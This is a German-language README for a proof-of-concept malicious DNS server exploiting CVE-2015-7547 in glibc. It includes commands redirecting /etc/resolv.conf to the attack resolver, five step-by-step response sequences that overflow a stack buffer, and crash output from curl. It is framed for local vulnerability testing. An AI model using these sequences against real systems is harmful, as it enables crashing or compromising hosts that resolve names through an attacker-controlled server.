
PoC-Exploit-Server für CVE-2015-7547
Zum Testen auf dem lokalen Rechner mit einer anfälligen glibc-Version:
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/# sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
Führen Sie dann in einer anderen Terminalsitzung die Angriffe wie in den folgenden Beispielen gezeigt aus.
Erfordert die Fähigkeit, Antworten > 2048 Bytes über UDP und TCP zu senden.
Angriffssequenz:
UDP-Antwort, > 2048 Bytes, gültiger Header/Frage, TC-Flag gesetzt (löst Pufferfehlverwaltung und TCP-Wiederholung aus)
TCP-Antwort, gültiger Header/Frage (zwingt die nächste Antwort zur Speicherung im stapelallokierten Puffer)
TCP-Antwort, > 2048 Bytes (überläuft den stapelallokierten Puffer)
Beispiel:
user@localhost:/# curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Erfordert die Fähigkeit, Antworten > 2048 Bytes über UDP zu senden.
Angriffssequenz:
UDP-Antwort, > 2048 Bytes, ungültiger Header (löst Pufferfehlverwaltung aus, wird nicht als gültige Antwort gezählt)
Nächste Anfrage ignorieren (löst UDP-Wiederholung aufgrund von Polling-Timeout aus)
UDP-Antwort, gültiger Header/Frage (zwingt die nächste Antwort zur Speicherung im stapelallokierten Puffer)
UDP-Antwort, > 2048 Bytes (überläuft den stapelallokierten Puffer)
Beispiel:
user@localhost:/# curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Erfordert die Fähigkeit, Antworten > 1024 Bytes über UDP und > 2048 Bytes über TCP zu senden.
Angriffssequenz:
UDP-Antwort, 1024 Bytes, gültiger Header/Frage (füllt die Hälfte des stapelallokierten Puffers)
UDP-Antwort, > 1024 Bytes, gültiger Header/Frage, TC-Flag gesetzt (löst Pufferfehlverwaltung und TCP-Wiederholung aus)
TCP-Antwort, gültiger Header/Frage (zwingt die nächste Antwort zur Speicherung im stapelallokierten Puffer)
TCP-Antwort, > 2048 Bytes (überläuft den stapelallokierten Puffer)
Beispiel:
user@localhost:/# curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Erfordert die Fähigkeit, Antworten > 2048 Bytes über UDP zu senden.
Angriffssequenz:
UDP-Antwort, 2048 Bytes, gültiger Header/Frage (füllt den stapelallokierten Puffer)
UDP-Antwort (löst Pufferfehlverwaltung und UDP-Wiederholung aufgrund eines 0-Byte-Socket-Empfangs aus)
UDP-Antwort, gültiger Header/Frage (zwingt die nächste Antwort zur Speicherung im stapelallokierten Puffer)
UDP-Antwort, > 2048 Bytes (überläuft den stapelallokierten Puffer)
Beispiel:
user@localhost:/# curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Erfordert die Fähigkeit, Antworten > 2048 Bytes über TCP zu senden, und mindestens zwei Nameserver-Einträge in /etc/resolv.conf.
Angriffssequenz:
UDP-Antwort, gültiger Header/Frage, TC-Flag gesetzt (optional, löst TCP-Wiederholung aus, wenn die erste Abfrage über UDP erfolgt)
TCP-Antwort, > 2048 Bytes (löst Pufferfehlverwaltung aus)
TCP-Antwort, leer (löst TCP-Wiederholung aufgrund eines 0-Byte-Socket-Empfangs aus)
TCP-Antwort, gültiger Header/Frage (zwingt die nächste Antwort zur Speicherung im stapelallokierten Puffer)
TCP-Antwort, > 2048 Bytes (überläuft den stapelallokierten Puffer)
Beispiel:
user@localhost:/# curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)